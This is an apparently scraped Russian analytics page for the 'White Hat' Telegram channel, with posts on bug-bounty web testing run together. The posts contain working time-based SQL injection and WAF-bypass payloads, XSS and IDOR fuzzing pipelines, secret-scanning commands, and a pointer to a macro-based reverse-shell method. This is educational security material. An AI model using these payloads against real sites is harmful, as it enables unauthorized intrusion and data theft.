White Hat
Пишем про информационную безопасность и белый хакинг. Сотрудничество: @workhouse_price Канал на бирже: https://telega.in/c/kind_hack Канал в реестре РКН: https://clck.ru/3FtTnR
Больше📈 Аналитический обзор Telegram-канала White Hat
Канал White Hat (@kind_hack) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 11 791 подписчиков, занимая 10 597 место в категории Технологии и приложения и 55 585 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 11 791 подписчиков.
Согласно последним данным от 25 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 384, а за последние 24 часа — 13, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 8.32%. В первые 24 часа после публикации контент обычно набирает 3.55% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 981 просмотров. В течение первых суток публикация набирает 419 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 4.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как взлом, шпаргалка, обнаружение, протокол, хакер.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Пишем про информационную безопасность и белый хакинг.
Сотрудничество: @workhouse_price
Канал на бирже: https://telega.in/c/kind_hack
Канал в реестре РКН: https://clck.ru/3FtTnR”
Благодаря высокой частоте обновлений (последние данные получены 26 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
| Привет, друг. На связи Эллиот.
Когда нужно проверить список доменов на Time-Based уязвимости и лень писать шаблон для Nuclei, можно заюзать httpx с параметрами -timeout, для указания максимального таймаута и -mrt, для вывода только результатов с определенной задержкой.
cat web.list | httpx -silent -path '/sitemap.xml?offset=1%3bSELECT%20IF((8303%3E8302)%2cSLEEP(10)%2c2356)%23' -rt -timeout 20 -mrt '>10'
Аналогично, для заголовков:
cat web.list | httpx -silent -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(10),0))OR" -rt -timeout 20 -mrt '>10'
#Web #SQLi #RCEhttps://example.com на адрес тестируемого сайта и выполнить команду:
gospider -s https://example.com -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe -o result.txt
#Web #XSShttps://targetdomain.com/user/3bf1114a986ba87ed28fc1b5884fc2f8
Для решения этой задачи, вы можете использовать простой bash-скрипт, совместно с ffuf.
Предположим, у вас есть конечная точка, которая принимает параметр id в виде md5. Мы можем проверить его на IDOR с помощью приведенной ниже команды, которая сгенерирует список чисел от 1 до 1000:
seq 1 1000 | hashit md5 | ffuf -w - -u https://targetdomain.com/user/FUZZ
#Web #IDOR #BashSLEEP(5) /*' or SLEEP(5) or'" or SLEEP(5) or "*/
Немного изменив ее, мы можем добиться отсутствия пробелов, что сделает ее более универсальной:
SLEEP(5)/*'or(SLEEP(5))or'"or(SLEEP(5))or"*/
Немного модифицировав её, вы сможете охватить некоторые другие случаи:
)SLEEP(0.5)(/*')or(SLEEP(0.5))or('")or(SLEEP(0.5))or("*/
Все дело в построении уязвимых SQL-запросов и поиска полезных нагрузок для каждого из них.
Данный список вы можете пополнить самостоятельно. Хорошей практикой будет использование тестовых лабораторий и создание нескольких полезных нагрузок для каждого сценария с использованием различных методов.
Это действительно улучшит ваши навыки работы с SQL-инъекциями и пополнит список рабочих полезных нагрузок в вашем арсенале.
Поэтому перестаньте использовать бесполезные вордлисты на 1к строк, не понимая должным образом, что они делают или как они работают. Помните, что из выбора бесполезного количества в ущерб качеству никогда не выйдет ничего хорошего, кроме потери действительно хороших возможностей.
P.S. Для тестов всего этого прекрасно подойдет sqlfiddle.com, в котором можно создавать и тестировать запросы к БД. Тут пример инъекции с применением полезных нагрузок из поста.
#Web #SQLi| Привет, друг. На связи Эллиот
Макросы из офисных документов Windows активно используются злоумышленниками или исследователями безопасности для доставки полезной нагрузки на сервер и компрометации системы.
В статье по ссылке представлен рабочий метод создания макроса для документов Word и Excel и его использование для вызова другого объекта, расположенного в свойствах документа. В видео ниже продемонстрировано получение реверс шелла с помощью этого метода.
⏺ Ссылка на чтиво
⏺ Ссылка на видеоматериал
#Word #Excel #Windowshttps://example.com/getUser?name=' or "=' (403 Forbidden)
https://example.com/getUser?name=' or 1337.e(")=' (200 OK)
#Web #WAF #SQLitrufflehog filesystem --directory=/results/domain.com
#Reconprintf site.com | gau
После этого начинаем вручную анализировать конечные точки и URL-адреса, уделяя особое внимание некоторым чувствительным ключевым словам:
invoice, discount, promo-code, join, redirect, reset_password, reset-password, password, TrackOrder, token, invite.
В примере на фото ниже привлекает внимание слово invite. После нажатия по данной ссылке открывается страница регистрации. После создания новой учетной записи с личной электронной почтой (@gmail.com) сайт просто перенаправляет на страницу компании внутри целевого приложения, содержащую всех приглашенных сотрудников и конфиденциальную информацию.
#Web #Leak| Привет, друг. На связи Эллиот.
Основные этапы JavaScript-разведки в Bug Bounty это:
1 - Сбор файлов JS от цели.
2 - Поиск конечных точек из файлов JS.
3 - Поиск секретов в файлах JS.
4 - Получение файлов JS локально для ручного анализа.
7 - Извлечение имен переменных из файлов JS для проверки на XSS.
8 - Сканировать файлов JS на наличие DomXSS.
Для автоматизация вышеперечисленных и некоторых других действий есть неплохой инструмент, под названием JSFScan. Достаточно передать ему список поддоменов и задать опции в соответствии с вашими предпочтениями.
Ниже представлено видео, демонстрирующее процесс работы с данным инструментом.
⏺ Ссылка на GitHub
⏺ Ссылка на видео
#Web #JS
Уже доступно! Исследование Telegram 2025 — ключевые инсайты года 
